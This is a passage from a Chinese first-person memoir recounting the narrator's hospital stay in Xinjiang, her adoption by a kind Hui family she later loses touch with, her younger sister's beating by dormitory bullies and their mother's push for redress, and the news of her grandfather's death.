俏俏师姐回来以后,跟我们说:“我结婚了。” 我们说:“你婆婆不是刚去世吗?什么时候结婚的?” 俏俏师姐说:“因为他妈妈去世以后,三年不能结婚。我们就在棺材前磕了三个头,就代表结婚了。赵明城都快三十了,不想再等三年,我也是骑虎难下。”看来,俏俏师姐对她和她对象的婚姻并不是很有把握。她好歹是一个师范生,毕业了要做老师的。她的对象呢,还在军营里,资质平平,没有学历,也没有什么头衔,不知道复员以后能干些什么工作。俏俏师姐担心的恰恰是她对象急着跟她结婚的原因吧。赵明城大概是担心现在不结婚的话,以后俏俏师姐毕业了,工作了,会跟他离心离德吧。 4.回族老干爹、老干妈 我在去食堂打水的路上看到了贴在断壁残垣上的一张公告,说是我得了全国大学生英语竞赛一等奖。 “一等奖哎!你好厉害!”我身旁的女孩子说,“我才三等奖。” 没过多久,我就在英语系的一个白白胖胖的年轻男老师的带领下,跟一个陌生的男同学一起,在夜里坐了卧铺汽车去了市里。我们要去参加英语竞赛。 我们住进了我想象中的五星级大酒店。他们两个男的住一间,我自己住一间。吃完晚饭,我就自己窝在屋里看电视。那两个男的一起出去逛街了。 晚上十一点,我都睡下了,那个男同学奉命前来喊门。 “砰砰砰!”有人在敲门。 “谁?”我说。 “我!”那个男同学说。 我躺在被窝里仰起头问他:“有事儿吗?” 他隔着门说:“李老师喊你去吃草莓。” 我说:“我不吃了。明天还要考试呢。” “你还是去吧。李老师喊你,你都不给面子啊?”他说。 我说:“你跟李老师说,我睡觉了!明天还要考试呢。”那个男生悻悻地走了。我知道那个男老师也会不高兴。切!我还不高兴呢。我来这里是干什么的?我是来考试的。黑天半夜的,我一个女生,你一个男老师,你喊我吃什么草莓。我明天要考试,你作为老师不应该让我早点休息吗?我是吃你的草莓讨你开心重要还是好好休息准备考试重要。你不开心拉倒,我是来考试的,又不是来讨你开心的。 暑假里,我们照例被集中在一起住宿。我蹬着自行车去带了家教。新疆的夏天,阳光直射,到处被太阳照地明晃晃的。我很快吃不消,上火,痔疮发作。以前虽然也疼过,但是没有肿过,现在不知道怎么回事,竟然肿得有鸡蛋大小。 我屁股里拖着一个蛋蛋,在大街上逛,在街头的拐角处,看到了一家痔瘘医院。我进去以后,那个男医生给我看了看,说我得了内痔、外痔、混合痔,得动手术。我感觉那家医院位置偏僻,地方逼仄狭小,条件也不好,跟个私人麻将馆儿似的,并不能让人信任,我就走了。 我又到了当地的妇幼保健中心,两个中年妇女按着我检查了一番,说是外阴脓肿。其实根本不是什么外阴脓肿,就是痔疮犯了,□□旁边烂了一个洞,发炎脓肿,把□□周围前前后后左左右右都给肿起来了。但是当时我也拿不准。妇幼保健院的医生给我开了一袋子药,我拎回学校,在校医院就近挂水。我每天去输液室里挂水,看电视。电视里放着《哑巴新娘》,主题曲唱着:“燃烧燃烧燃烧,用你的真心燃烧!” 不久后的一天夜里,我的病情爆发了。那个脓肿的地方爆开了,不停地流脓,疼痛难忍。我在床上翻来覆去了好一阵子,实在忍受不了了,只好跟周婕她们说了。毕竟是同学大义,周婕她们立刻表示要陪我去医院。可是,女生又没那个本事背我,周婕就呼救我们班的大好人李腾飞来帮忙。周婕她们让李腾飞驮着我,我说我自己还能走。我就自己站着,跟她们一起乘公交车到了医院。 到了医院以后,周婕、赵娇她们几个靠墙边等着,李腾飞忙着帮我挂号。我躺在手术室的床上,两个年轻的女医生帮我查看病情。 “哎呀,这是痔疮,肛瘘。都流脓了!”那个年长一点的女医生说,“里面还有好多脓,先给她挤吧。”她就率领着另一个年轻一点的女医生给我挤。她们在我创口上使劲挤,我疼地“啊啊”直叫。 那个年长一点的女医生说:“你不要叫,你叫什么?我们在给你挤啊。你不能忍忍嘛。你看看,挤出来好多豆腐渣一样的东西。你别动,我把坏掉的组织给你撕下来。”我知道她们不喜欢病人叫,可是我忍不了,她们把我挤地生疼的时候,我还是扯开嗓子“啊啊”地叫。她们挤完了,给我清理消毒,包上纱布。我被推进病房里。 李腾飞忙着跑来跑去,很快帮我办理了住院手续,还帮我联系了保险公司,保险公司很快来人给我做了记录。我当时还可以行走。我就请送我来医院的同学吃饭。医院门口有个小饭馆。我进去点了几个菜,其中有我最爱吃的回锅肉。但是我因为身体原因,不能吃辣的。 赵娇就坐在我对面。她一边有滋有味地吃着饭菜,一边用黑山老妖似的嗓门儿跟我说: “大省,你赶紧好起来,好了就可以吃了。” 周婕说:“大省,你以后不要这样请我们了,你省点钱,还要看病呢。” 我们班主任知道了我住院的事,她很快让班长排班,让女同学们轮流来陪护我。一些平时跟我还不错的男同学也来看我了。周婕跟李腾飞还是经常来看我。尤其是李腾飞,几乎每天都来。 我的床头上赫然贴着“肛瘘”这样的字眼。 周飞燕坐在我的床头笑着跟我说:“你之前说的外阴脓肿,我还纳闷。你那么爱学习的一个人,怎么得的外阴脓肿啊?是不是你去市里参加英语竞赛,酒店的东西不干净,把你给传染了啊。现在我们都知道了,你得的是痔疮!” 过了几天,病房里来了一个六十多岁的回族老大妈。她是一个典型的回族老大娘,长得肥满溜圆,矮矮胖胖,站在那儿,像个宝葫芦一样。她的老伴儿和女儿陪护着她。 有一天,我因为上火,便秘了。一个人蹲在病房的厕所里疼地要死要活的。 那个姐姐说:“你要吃饭,吃了饭就好了。” 我说:“我不敢吃饭,怕再堵塞。” 姐姐说:“吃了饭新陈代谢,才能好呢。” 大娘说:“我们马上去吃饭,让你姐姐给你带碗饭吧。” 我说:“不用了,我不敢吃。” 大娘说:“没事的,我们给你带。”说完,她们就一起下去吃饭去了。 我以为她们也就跟我客气客气的。谁知道,等她们吃饭回来以后,真的给我带了一碗青菜西红柿面片儿汤。 姐姐说:“我们给你带了份儿饭,你吃吧。” 我说:“啊?你们还真的给我带饭了啊。谢谢姐姐!” 姐姐说:“谢什么,你大娘让我给你带的,你大娘喜欢你。” 大娘说:“你吃吧。不行,让你大爷去给你买个叶子茶喝喝。” 姐姐笑着说:“喝那个叶子会形成依赖的,它会让你的肠子慢慢地不会排便。” 我一听害怕了。我说:“不行,我还是问问医生吧。”医生来了,她给我开了石蜡油,和灌肠的药。我喝了石蜡油,还是不行。她又安排了医生带我去灌肠。我的问题很快解决了。 医生让我每天高锰酸钾坐浴,我就去买了药,每天等没有男人在的时候,我就在我的床头下面,放一个塑料盆子,用高锰酸钾坐浴。 每天给我换药的那个年轻一点的女医生一看就很本分很真诚。我对她总是客客气气,跟她姐姐长姐姐短的。她跟我说:“我跟主治医生说了,手术就在产房做,这样可以节约一笔钱。” 等到快手术了,那个姐姐就带我去了我病房左边不远处的一个产房。那是一个高高的铁架子,妇女在上面要伸开腿蹬在架子上,下面是一个大大的黑乎乎的像是已经生锈的大铁盆一样的东西。难道那就是生孩子的地方?难道这就是所谓的“临盆”? 我两条腿蹬在架子上,主治医生还没有来。那个曾经给我挤脓的年纪大一点的女医生又来给我打麻药了,她拿着小针,在我的肛瘘的创口上左一针右一针地给我注射着麻药。 不一会儿,我最崇拜的那个年纪大的老医生来了,老医生个子不高,一口亲切的河南话。跟个年老版的释小龙似的。他是以前的赤脚医生,靠着出色的医术一步步走到了今天,他现在是将军级别,享受□□津贴。他当时在我眼里就是个老神仙。我非常崇拜他。 不料,他看了看我的创口说:“哎呀!这个不行,不能做手术,里头还是硬的,还有炎症呢,还要继续高锰酸钾坐浴,继续消毒。” 那个刚才扎针的女医生说:“还不能手术啊。我们之前已经给她挤了很多脓出来了。” 那个年纪大的老医生说:“这个千万不能挤,越挤越厉害!” 那个女医生不说话了。我又被退回了病房,只能再等一段时间才能手术了。可是我已经住了十几天的院,花了好多钱了。这些钱当然都是我妈妈寄给我的。 我给我妈妈打电话,我觉得我花钱了对不起我妈妈。 我妈妈那是一点都没有心疼钱,她倒是很心疼我。她安慰我说:“你安心住院,没事儿。这几年正好大蒜行情好,咱家还有给你住院的钱。新疆太远了,来回路费太贵,妈妈不能去照顾你,你照顾好自己。乖孩子。” 我妈妈平时很凶,她几乎很少对我亲切过。这次,我一个人远在新疆住院,她是真地心疼了,她是难得叫我“乖孩子”的。 我又继续住院。这期间,要英语六级考试了,我就穿着裙子,插着导尿管,挂着尿袋,回学校把英语六级考试过了。 临床的回族姐姐跟我很投缘,她的母亲,那个浑身胖胖,脸蛋圆圆,眼睛大大,眼皮双双的大娘很是善良。她不太会说汉语,但是我的一言一行她都看在眼里。 她跟她女儿夸我:“‘钱包’是个好姑娘,说话一是一、二是二的。” 她家的姐姐哈哈大笑着说:“你怎么叫她‘钱包’,她哪里叫‘钱包’!” 我们也跟着笑。姐姐说:“你大娘可喜欢你了,你大爷也喜欢你。你们干脆就认了干爹干妈吧。” 大娘说:“好啊。我正想再多个女儿呢。” 于是我们就半真半假地成了干娘和干女儿。 干娘是甲状腺有问题,脖子上包扎着一块纱布。她要出院了。干娘出院的时候给我留了地址和电话,让我以后一定要去她家里玩。 我又等了十几天才做手术。我被打了局麻,还能听到那个老医生讲话。手术快结束的时候,他在我的创口里头放了一根特殊材质的线。他跟我说:“这根线你不要自己拽出来,它有切割的作用。里头的炎症还会一点点流出来。这次手术,也不会保你终身,过个三四年,说不定还会再犯。你一定要注意。多喝水,多运动,多吃粗纤维的蔬菜。”我一一答应着。这件事距今已经有二十年了。我的病情再也没有发作。我的□□儿还可以正常使用。不得不说,那位神仙老医生的医术实在是太高明了。 我很快出院了,又开始学习,这一次我是专心致志地考研了。 这期间,我经常跟回族干妈和姐姐打电话。姐姐说,干妈回家以后,聊的都是我,她们很想念我。让我有空一定去她们家里玩。 秋天,我跟干妈说好了去她家看望她。 我问黄芳:“我想去那个回族干妈干爹家,你跟我一起去吧,到她们家里玩,也跟我做个伴儿。” 黄芳很爽快地答应了。 我说:“东西我都买好了,你什么都不用买。” 我们到了霍城县,站在马路边上,我跟姐姐打了电话。她很快来接我们了。我们坐上马车,很快就到了她家。她家在村子前排,是几间瓦屋,院子还算宽敞。院子前头是厨房,下面低一点的地方是马圈,养着牛羊。姐姐拿起杆子给我们打树上的苹果吃。一棵苹果树就长在她们房屋前,笔直笔直地冲着天。她仰着头,一杆子下去,那苹果就砰地一声落了地。 一个小小的男孩子不声不响地站在院子里。 我问干妈:“这是谁啊?他几岁了?” 干妈说:“这是我孙子。” 干姐姐说:“我哥哥的儿子。一岁了。” 干妈生病期间,没有见她儿子去。我就问干妈:“哥哥干什么去了?” 姐姐笑笑说:“上大学去了。”我看干妈的表情不高兴,就没有再多问。我也没有见到干妈的儿媳妇,我猜干妈的儿子不是上大学那么简单。 干爹在院子里煮了一大锅抓饭。里头炖着红红的胡萝卜和被浸润地金黄色的大米饭。干妈带着我们坐上马车又去巴扎上买了一只肥鸡。 干姐姐怀孕好几个月了,她穿着淡绿色的衣服,系着紫色的头巾,典型的回族女子的打扮。干姐姐跟干妈一样,都是双眼皮大眼睛,皮肤有点黑。她性格爽朗,爱说爱笑。她说话声音很大,说起话来,声音里有一丝甜甜的沙哑。 “你干妈从亲戚那里回来,跟我说,在人家那里吃了肉馅馒头。她明知道我怀孕了嘴馋,还跟我说这些,又没有带回来一个给我吃,把我给馋坏了,气哭了。”干姐笑着说。 “是的啊。”干妈说,“我看着你姐姐哭,我就后悔了,我怎么不带几个馒头回来呢。” 干爹不怎么言语,回来抄了几下抓饭又走了。抓饭就在大锅里闷着。锅底下是燃烧着的木柴。 “你干爹忙的。他在镇上民政上班。很多人都让你干爹照顾他们,不穷的也想要照顾呢。”干妈笑着说。 该吃饭了,干爹也回来了。大家在院子里的一个棚子里围成一桌,抓饭端了上来。干爹把一盆子长长的羊排端上桌。他拿着刀子,把一根根羊排上的肉,都削到抓饭盆子里,桌子上剩下一根根光秃秃的羊排骨。 我们要走了。干妈哭着从屋子里走出来,手里拿着崭新的红红的三百块钱。 她说:“‘钱包’,你拿着。这是干妈干爹给你的。你上学艰苦,留着买饭吃。”我坚决不要,可是倔不过干妈的盛情,只好收下了干妈的三百块钱。 姐姐喊了马车送我们回去。干妈跟我们洒泪而别。 我们到了大街上,跟姐姐辞行。姐姐用她那孕期爱犯馋的眼神看了我一眼。我当时想到了干妈给我的三百块钱。我想,姐姐是不是想要干妈给我的三百块钱呢。那可是干妈给我的。我做了一个让我悔恨不已的决定。我没有把干妈给我的三百块钱顺手给怀孕的姐姐,让她买点好吃的。姐姐可是身怀六甲啊,她需要吃好的喝好的来补补身体啊。我就这样决绝地离开了,什么都没有给姐姐留下。 当时的决定真的让我懊悔终生。彼一时此一时。当时我把三百块钱看地很重,忘记了我应该给姐姐的关爱,忘记了姐姐对我的姐妹情。我是什么玩意儿。我当时为什么贪恋那三百块钱。我当时为什么不给姐姐一个温暖。我太后悔了。我从一开始就错了,干妈给我那三百块钱的时候,我就不该拿。 人的一生,有很多自以为是的决定,让你回忆起来那么脸红,那么不能饶恕自己。 过年的时候,干妈知道我不回家,就让干爹来看我。干爹拎着东西一路风尘仆仆,到了我们校园里。我那天不去看书,专门在宿舍里等着干爹,干爹到了就给我打电话,我接到电话下去。干爹提着一包东西。我把东西接过来带回宿舍,匆匆看了一眼,里面是我爱吃的白白甜甜的面果子和马肠子。这两样东西简单而实在,朴拙而贵重,我又开心又觉得温暖。我请干爹到学校后门的一家回族餐馆吃午饭。我还记得,我当时点了一份大盘鸡,吃饭的时候,我对干爹恭恭敬敬客客气气。干爹也吃地斯斯文文,彬彬有礼。 后来,听说姐姐生孩子了。我因为学习紧迫,居然没有去探望姐姐。再后来,我匆忙毕业。后来找工作,东跑西颠,人事变迁。直到现在,整整二十年过去了,我跟干爹一家再也没有联系过。往事不堪回首。有很多次,我想起干爹一家,想起干姐干妈,想念他们的好。可是我总觉得自己混地不如意,即使跟他们打通电话,也不知从何说起。想到这里,我对他们的思念就这样一次次搁浅在心里。 干妈可能没有想到,她的心心念念想着念着的“钱包”是如此地忘恩负义吧。这么多年过去了,干爹干妈都还在吗。我拨通了干姐姐的电话,又该说些什么呢。我是说我的骄傲,还是说我的沧桑。说我的骄傲吧,无从说起。我的人生至此没有什么得意之笔。说我的沧桑吧,又恐对不起当年干妈对我的期盼和当年那么意气风发的自己。是的。事情隔得越久,我越是觉得我距离当初的自己越来越远。我对现在的自己越来越失望。我该怎么跟他们说。我该不该一股脑儿跟他们说。我该跟他们说些什么。现在已经可以视频了,可是我这样的满面苍苍,我哪里还敢跟她们视频呢。我无颜面对亲爱的老干爹老干妈和姐姐。 亲爱的干爹干妈,亲爱的姐姐,当初是你们太良善太单纯,太喜欢“钱包”,太顾念“钱包”,认定了她是个好人,对她多加关照。到头来,还是负心人多,还是“钱包”辜负了你们。 幼儿缠身绊脚,我已经两年没有回过娘家了。娘家过些时日总会回去的,但是新疆太远了,历时太久了,我现在的生活捉襟现肘,来回的不少数目的路费是要精打细算的。干爹干妈年纪大了,我跟姐姐很难常见。我想抽个好的时日,趁着婆婆不在,趁着孩子不打扰,趁着老公不知道,跟姐姐好好打个电话,问问干爹和干妈,给姐姐发个大大的红包,弥补一下当初姐姐一家对我的好。 人生苦短,一不小心就会再过去个几十年,这笔债,这辈子肯定要还。 26. 我妹妹在职中受霸凌、我爷爷去世了 1.我妹妹在职中受霸凌 后来,经人介绍,我妈妈又去青羊山镇上的高中食堂上班。那也是我曾经的高中。我妈妈干活很勤快,一个大盆子,她端起来就走,人家让她切白菜,她把白菜根都切了。 经理转悠的时候看到了,夸她说:“哟,你切菜蛮省的嘛。” 我妈妈说:“领导,我省下来的菜,就够我自己吃的!” 中考的时候,老师要考生统一交钱订餐,每场考试结束了,考生们一起去所在考点的食堂吃饭。我妹妹的考点就在我高中的学校。我家穷,我妹妹交不起钱。中午了,孩子们考完试都出来了,学校的食堂里人头攒动,都是来吃午饭的孩子。我妈妈把我妹妹带到一个桌子跟前,让她坐下。 “来!坐下!”我妈妈按着我妹妹的肩膀说。 “小同学,让她搁这儿吃,行吧?”我妈妈跟其他的那些孩子们说。 那些小同学都说:“行!吃吧!吃吧!” 我妹妹就坐下来,拿起桌子上的大馒头,开始吃饭。 我妹妹成绩不好,只能去上技校。 “她年纪还小,又老实,出去打工受人欺负,让她上技校,搁学校里头长长个子吧。”我妈妈说,“天生的没有学堂心,怎么办。” 我妹妹去上技校了。军训的时候,我妹妹因为歌儿唱得好,又长得甜,被教官叫做“美女歌仙”! “来来来!咱都围成一圈儿,让‘美女歌仙’给咱唱个歌儿!”我妹妹在教官的号召下笑嘻嘻地站起来唱歌。一开始,我妹妹在学校的日子也过得快快乐乐。 后来的一天,我妈妈跟我妹妹说:“笑笑,我卖破烂,卖了八十块钱,给你吧。你留着自己买碗茶喝。” 我妹妹说:“行!” 我妈妈说:“你别都拿到学校了哈,别给人偷去了。你好好留着,慢慢儿地花。” “行!”我妹妹说。她嘴上答应着,转头儿就把钱带到学校,放在宿舍里的枕头底下。 一天,我妹妹同宿舍的四个女生聚拢过来,跟她说:“宋天英,俺的一百块钱少了,是你偷的吧!” “俺没偷。”我妹妹平时就老实巴交的,听到这几个女生审问她,更加唯唯诺诺了。 “你偷没偷,咱翻翻就知道了!”一个女生说着,一把掀开我妹妹的枕头,把我妹妹拿布包着的钱攥在了手里! “哟!恁么多钱!这钱是谁的?你还说你没偷!” “那是俺妈妈给俺的八十块钱!那是俺妈妈卖破烂的钱!” “恁妈妈卖破烂的钱?怎么恁么巧的!我这里刚少了一百,你那里就有了八十!恁家穷地要死,你怎么有恁么多钱的?肯定是偷了我的!” 我妹妹哭着说:“俺真不是偷恁的钱,是俺自己的!” 那几个女生更生气了:“不承认是吧!非得扇脸才能承认是吧!” 另一个女生说:“扇她的脸!揍她!” 啪!啪!她们狠狠地扇我妹妹的脸! 我妹妹哭着说:“俺真没偷恁的钱!” “你还不承认!你不承认!我踢死你!”一个女生吼叫着,抬起膝盖,去顶我妹妹的鼻子。鲜红的血从我妹妹的鼻子里流了出来。 “呜呜呜——俺真没偷恁的钱”我妹妹悲痛地呜咽着。 “你再不承认,俺几个揍死你,你信不信?宋天英?” “俺真没偷恁的钱!”我妹妹近似乞求地为自己辩解着。 “你没偷!你没偷!我让你不承认!我让你不承认!”她们几个的巴掌和拳头又打在我妹妹的身上。 我妹妹被她们四个人打怕了,她瘫坐在床头,悲哀地哭着。她不敢吵,不敢闹,甚至不敢吃饭,不敢睡觉。 星期天放假了,我妹妹回到家。 “笑笑,我看你鼻子怎么肿了的?”我妈妈问她。 “我自己磕倒磕的。”我妹妹说。她不敢跟我妈妈说实话。 “妈,我想去立围子大姨家找四姐玩儿玩一会儿。”我妹妹跟我妈妈说。 “行,你去吧。玩一会儿就回来。” “哦。”我妹妹说。我妹妹转头儿就哭了。 我妹妹一路哭着,到了立围子小四儿家。 “四姐!俺宿舍的几个女的打我了。”我妹妹哭着跟小四儿说。 “她们怎么打你的?笑笑?”小四儿问我妹妹说。 “俺妈卖破烂给我的钱,那四个人非说是我偷了她的!”我妹妹哭着说。 “这事儿俺三姨知道吧?”小四儿问她。 “俺妈不知道!我没敢跟俺妈妈说!”我妹妹哭着说。 小四儿说:“你不敢跟俺三姨说,我给她说!” 小四儿立刻给我妈妈打了电话。她跟我妈妈说:“三姨,恁家笑笑,搁学校里头,被几个女的打了!” 我妈妈一点都不知道。我妈妈让我妹妹回家来。 我妹妹来到我妈妈跟前,还是哭。 我妈妈生气地说:“你有事儿不跟恁妈说的!我早就跟你说过,母子之间,无话不谈!你有事去跟小四儿说,不跟恁妈说!” 我妹妹这才哭着把事实经过跟我妈妈说了一遍。 我妈妈一听,又气,又心疼我妹妹。就带着我妹妹,去找她班主任。 班主任是个女的,她看到我妈妈带着我妹妹去找她。她脸上冷冷地。 班主任说:“宋天英,有人打你了?谁打的你?” 我妹妹低着头儿小声儿说:“黄桂荣、张洁,孙香花、徐秋云。” 班主任说:“宋天英!你被人打了?我都不知道嘛!你不第一时间跟我说的?” 我妹妹吓得不敢说话。 我妈妈说:“天英胆儿小,不敢跟老师说。她也没敢给我说。是立围子的她四姐打了电话给我,我这才知道的。” 班主任白了我妹妹一眼说:“同学之间,一点鸡毛蒜皮的小事儿,就把家长给弄来了。我不是跟你们说过嘛,有事儿先跟我说!” 我妈妈说:“老师,俺小孩儿胆儿小,被人打怕了,不敢跟您说。怕给您说了,人家再打她。” 班主任说:“宋天英,她们几个为什么打的你?” 我妹妹说:“她们赖我偷了她们的钱,我不承认,她们就打我。” 班主任说:“她们打你哪儿?我怎么没看到的?” 我妹妹难过地低下头,没说话。她张了一下嘴,又闭上。她又哭了。 我妈妈说:“那几个小丫头儿扇她脸,踢她鼻子。把她鼻子都踢淌血了。老师你看,她的鼻子现在还肿着呢。” 班主任说:“她们几个怎么非赖你的?她怎么不赖旁人的?” 我妹妹说:“因为俺家穷,没钱。俺妈妈正好卖破烂给我八十块钱,她们就说我是偷了她的。” 我妈妈说:“老师。那钱确实是我卖破烂给她的。恁要是不信,咱可以去问青羊山那个收破烂的。我记得清清楚楚。我拿个蓝色的小布儿包着的。一层层的,我缠了好几圈儿。我还跟她说的,让她不要拿到学校里来。她不听我的话儿,给拿到学校里来了。人家那几个小女生看到了,就非说是天英偷了她的。就因为是瞒着我把钱带到学校来的,她被那几个女生打了都没敢跟我说。” 班主任说:“哦。是这样啊。那行吧。我也不能光听你的一面之词。回我找那几个女生问问。” 我妈妈说:“老师,那四个小丫头儿把俺闺女打成这样,俺得要求她给俺赔礼道歉。” 班主任说:“行吧。要是真事儿的话,我就让她给宋天英赔礼道歉。” 我妈妈说:“老师。那四个小丫头儿光给俺赔礼道歉还不行。她得给俺有个说法儿。俺闺女被打成这样,俺得去派出所立案。别以后她再来打俺。” 班主任说:“小孩儿的事儿。大事化小,小事化了。我跟她们几个说说还不行啊?你还要去立案?一点小事儿,至于那么兴师动众的嘛。小孩子之间,你打我,我打你的,太正常了,我见得太多了!恁闺女怎么就恁么娇气的?打几下就不得了了?” 我妈妈说:“老师。谁的孩子谁心疼。当妈的要是不心疼自己的孩子,那我还是个人吗?俺孩子平白无故地受了伤,遭了罪。俺说什么也得要个说法儿。那几个小丫头不光得给俺赔礼道歉,她的家长还得给俺做出赔偿!从现在开始,俺孩子就是踩个西瓜皮,那都是她们的。俺孩子要是再有个好和歹,我跟她不拉倒。” 班主任说:“你这个人啊。我都不知道该怎么说你了。怎么恁么想倒腾事儿的你说!宋天英也是的,一天到晚地不让人省心。不是这个骂她了,就是那个打她了。恁多事儿的你说说!” 我妈妈说:“老师。俺孩子要是给恁添麻烦,俺回头就麻烦校长给俺调个班。” 班主任气地把屁股往椅子上一拍:“你调去吧!恁这个孩子,我是带不了了!” 她旁边的老师,不高兴地跟我妈妈说:“一点儿小事儿,不停地纠缠老师!什么大不了的!还没完没了了!老师怀孕了,还没吃饭呢!” 我妈妈说:“俺跟老师说了。俺现在就带着俺孩子去医院验伤,去派出所立案。” 出了班主任办公室,我妹妹说:“妈,我看俺班主任不高兴的。咱不是把她得罪了吧?” 我妈妈说:“得罪就得罪了!她不是个好熊!到现在她还是偏向着打你的那几个女生!” 我妹妹说:“妈,你把俺班主任得罪了,我怎么搁她手里上学了?” 我妈妈说:“你不要怕!回来妈找校长给你换个班!有那四个恶人,班主任还不坚持正义,这样的班儿你搁里头还能蹲啊?反正是怎么都不好了。就这样儿了!实在不行,换个学校。技校多的很!跟树叶子似的!” 我妈妈带我妹妹去医院验了伤,又带我妹妹去她上学的东夫镇派出所立案,一定要她们给个说法。派出所的人把那四个女生的家长找来,其中一个女生的爸爸还跟我妈妈吵。派出所的人调停了一下,让他们几家孩子跟我妹妹道歉,保证以后再不欺负我妹妹。她们几家的父母也做出了经济赔偿。 我是后来才知道这件事的,我那时在外头上学,一点不知道,我妈妈怕耽误我学习,当时也没有告诉我。 这件事过去了很久我才知道。我那时候最疼我妹妹了。 我说:“小妹,你当时怎么不跟我说的?” “你搁新疆上学,知道有什么用?”我妈妈说,“你知道也没有用,那几个女的,对我都不客气,我都弄不了!” 我很佩服我妈妈。这件事,如果搁到我身上,我未必有她有种,我未必干得比她漂亮。 是的,我做事太畏首畏尾了。我没有她英明睿智,我没有她有心数有胆量。 三个臭皮匠顶个诸葛亮。我必须承认。即使是八个我,也抵不上我妈妈一个。 是的,我很佩服我妈妈。我的伟大的妈妈。我的铁骨铮铮的妈妈。我的不愧是山东人的妈妈。我的像是个梁山好汉似的的妈妈。 我记起了我妈妈说过的话:“你别看你是个大学生,论社会经验,你比恁妈妈差远了。”“恁妈妈是有状元之才,没有状元之命的。” 同时,我又想到。我妹妹当年在技校被四个女的辱骂殴打。她该有多么害怕啊。如果,换做是我,我被四个女的毒害着霸凌着,我害怕吗?我也会害怕吧。只是,我可能会比我妹妹强一点,我会逃啊!我会跑啊!我当年不也是被赵娇拿着刀子追地到处跑吗? 可是,我除了跑,不是也没有任何办法吗? 同宿舍的四个女生啊,你往哪里逃,你往哪里躲啊?你能躲到哪儿去呢?你又不能不上学。你总得回来吧? 同学,同事,你逃不开躲不开的圈子。 太可怜了!那些被霸凌的孩子! 我又悲哀地想,好人的命是不是攥在坏人的手里的?你还没有死,那是因为坏人还不够坏。好人是斗不过恶人的。 一只温柔的兔子会被鹰犬给杀死。一只可爱的小鸟会被猪狗给咬死。那些愚蠢的恶毒的,伤害的往往是那些可爱的天真的善良的。一只温顺的斑马会被一只豹子给咬死。一只美丽的梅花鹿会被一只鬣狗给嚼死。 难道,一个生命只有足够歹毒狠辣,才能好好地活着吗? 2.我才知道我爷爷早就死了 我跟我妈妈打电话的时候,跟我妈妈说:“妈妈,听说考研还要联系导师。我想大三暑假里回去一趟。” 我妈妈说:“行,你回来吧。你都三年没回家了。我给你打点钱,你买个手机。这样你联系导师方便。” 一个下午,我站在校园里的小杨树下沉浸式地背英语单词,我弟弟又给我打来电话了。 “姐,你有钱吗?” “有,只够我的生活费。你要钱干嘛?”我说。 “你有钱就给我,没钱别废话!快点,我入了□□了!”他不耐烦地说。 我又被震地眼前发黑,五雷轰顶。一颗沉迷读书的心登时被破坏地稀碎。我茫然地看着校园里头呼啦啦的小杨树,小杨树忽闪着孤单的几片叶子。我脑海里闪过我的老师,我的大学,我的意气风发的考研梦,我的披星戴月的日日夜夜。那么美好的一切,在这样的轰炸下似乎瞬间变得苍白无力了。我两眼发蒙,四肢无力。我感慨我弟弟怎么这么不争气,我家里怎么出了这么个人。 为了联系导师,我在大三的那个暑假,回了一趟家。 我到县上的时候已经半夜了。 我跟我妈妈打电话说:“妈妈,我到了。” 我妈妈说:“行,你搁车站等一下,我让恁国佩三爷爷家的大叔去接你。” 路上,大叔开车,我妈妈跟大叔说着话。 “三姐,恁山东还有亲人吗?” “没有了!” 我的心“咯噔”一下。 “不是还有她爷爷吗?” “她爷爷死了。” 我坐在车上,没有多问一句。 到了家,已经是半夜了。我赶紧收拾睡觉。 第二天,我妈妈在锅屋里烧饭,我才走过去问我妈妈:“俺爷爷真死了?” “是的!我回去才知道。” “俺爷爷怎么死的?” “有的说是被人打死的,有的说是掉家东大井里淹死的。没人跟我说实话。我打听的。坦上集的一个老头儿跟我说的。人家见我问地切,就不再说了。听说死地蛮惨的,‘恁给我口水儿喝吧’,他想喝口水儿都没人端给他喝!” 我心里很酸,眼泪开始掉。我妈妈拿着锅屋的柴垛子上烧饭的柴草,眼泪也不停地掉。 “刚收完麦,他都没吃上自己种的新麦就死了。”我妈妈掉着眼泪说。我爷爷大概不知道,正是他这个“奋事”的儿媳妇守着寡,逃着荒,来养着他的亲孙子,正是他这个“奋事”的儿媳妇,在他死后,为他流着心酸的眼泪。 除此之外,为他流泪的,还有谁?没有了。是的,一个人死后,有几个人是出于真心地为他流泪? 我走出了锅屋,我不想继续哭下去,我妈妈眼泪多,我也不想让她再哭下去,我的眼泪会引出她更多的眼泪,我不想让她哭。不是出于对她的孝顺,而是出于对凡庄的排斥。这儿是什么地方,这儿是凡乐的地盘儿,这儿不是我家。我不想让我的眼泪落在这个排挤、欺负我们娘四个的地方,我不想让这儿的人,尤其是凡乐听见我哭,我不想让这儿的人看见我的眼泪。这股子倔强是我妈妈给我的。我今天居然用它来抵制住了我妈妈的眼泪。我没有再继续哭,我知道我现在哭又有什么用。对于过去,对爷爷,我于事无补。对未来,我需要的是努力,而不是懦夫一样的只知道哭泣。 我是那样的平静。可是我的内心真地能平静吗?堵在心里的感情是要发泄出来的,我欠下爷爷的感情是要偿还的。 在那以后的日子里,我接二连三地梦见我爷爷死去。 头一次做梦,他正被人毒打,我心疼我爷爷,哭地撕心裂肺,我为他哭喊,为他哀嚎,为他跪下来去求别人来救救他。 第二次做梦,是我爷爷出殡,漫天的白布、白花,黑色的棺材,我扶着棺材,哭嚎着为我爷爷送葬。 这梦就那么巧合,一次次按顺序做。我欠爷爷的,我没为爷爷做的,在梦里也要偿还给爷爷!我每次醒来,都是哭醒,满脸的眼泪。到了后来,在校园里,午睡沉沉,我经常梦见爷爷,梦见跟他说话,梦见我回到了山东老家。在不是南乡的异乡里,我还有一点点的安全感,我做梦也可以做地安安心心,我哭也哭地痛痛快快。 我没有回山东老家,我当时对荆堂是恨的。如果我爷爷是被人打死的,我又何必再回荆堂呢。我是能给他报仇还是怎么。我爷爷死了,山东于我,还有什么呢。一个容不下我爷爷的地方,我还有那么怀念他吗?一个连一碗水都没有人端给我爷爷喝的荆堂,我还回去干什么呢。 